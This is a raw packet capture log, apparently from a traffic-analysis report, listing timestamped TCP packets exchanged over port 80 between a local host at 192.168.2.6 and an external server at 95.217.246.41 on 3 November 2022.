Nov 3, 2022 12:47:20.748606920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748631954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748673916 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748713970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748756886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748758078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748800039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748802900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748847961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748850107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748889923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748891115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748931885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748935938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748976946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748979092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749073029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749083996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749115944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749116898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749157906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749160051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749202013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749205112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749247074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749250889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749288082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749290943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749334097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749337912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749381065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749381065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749424934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749456882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749466896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749471903 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749511957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749519110 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749557972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749561071 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749603033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749610901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749645948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749658108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749690056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749697924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749733925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749762058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749777079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749778032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749819040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749825001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749870062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749871969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749911070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749914885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749955893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.749958038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.749993086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750000954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750041008 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750046015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750092030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750092030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750135899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750147104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750180960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750190973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750225067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750231981 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750269890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750286102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750314951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750329971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750360012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750370979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750405073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750412941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750448942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750458002 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750494003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750504017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750539064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750550032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750586987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750590086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750632048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750646114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750674963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750688076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750720978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750737906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750763893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750763893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750807047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750809908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750849962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750864029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750910997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.750915051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750961065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.750978947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751005888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751049995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751072884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751072884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751074076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751100063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751101971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751122952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751140118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751144886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751153946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751171112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751194000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751215935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751240015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.751243114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751243114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751243114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751282930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.751296997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.775335073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.775434017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.776170969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.776200056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.776235104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.776259899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781796932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781843901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781853914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781855106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781878948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781883001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781899929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781904936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781925917 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781930923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781939030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781964064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.781969070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.781981945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782008886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782031059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782037973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782052040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782066107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782083035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782093048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782104015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782120943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782140970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782162905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782181025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782192945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782196999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782222033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782227993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782252073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782274961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782280922 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782290936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782310963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782315969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782341957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782342911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782392025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782663107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782696009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782706022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782725096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782737017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782757998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782759905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782802105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.782804012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.782835007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789308071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789371967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789385080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789391994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789433956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789447069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789449930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789449930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789473057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789504051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789527893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789535046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789551973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789568901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789589882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789602995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789618969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789634943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789647102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789665937 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789689064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789696932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789715052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789726973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789731979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789757967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789767981 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789793015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789797068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789824009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789827108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789854050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789864063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789885044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789892912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789915085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789936066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789946079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789972067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.789975882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.789988995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790009975 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790033102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790064096 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790070057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790096998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790102005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790122032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790133953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790144920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790164948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790170908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790198088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790227890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790244102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790272951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790287018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790297031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790328979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790338993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790361881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790383101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790395021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790421963 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790426016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790446043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790461063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790477037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790493965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790507078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790532112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790537119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790550947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790580988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790585041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790611982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790616989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790616989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790647030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790671110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790694952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790726900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790738106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790756941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790764093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790787935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790795088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790822983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790824890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790853977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790899038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790899038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790911913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790944099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.790966988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.790977001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791007042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791016102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791016102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791042089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791055918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791075945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791089058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791110039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791116953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791142941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791153908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791173935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791184902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791208029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791225910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791241884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791255951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791274071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791277885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791305065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791311979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791340113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791363955 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791395903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791404009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791425943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791431904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791459084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791464090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791491985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791491985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791524887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791532040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791555882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791558981 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791590929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791594982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791625977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791632891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791656971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791663885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791687012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791697979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791718960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791742086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791749001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791763067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791785955 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791791916 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791802883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791831017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791836023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791843891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791867018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791873932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791898012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791903019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791929007 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791934967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791963100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791968107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.791996002 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.791999102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792027950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792036057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792061090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792061090 CET	80	49708	95.217.246.41	192.168.2.6
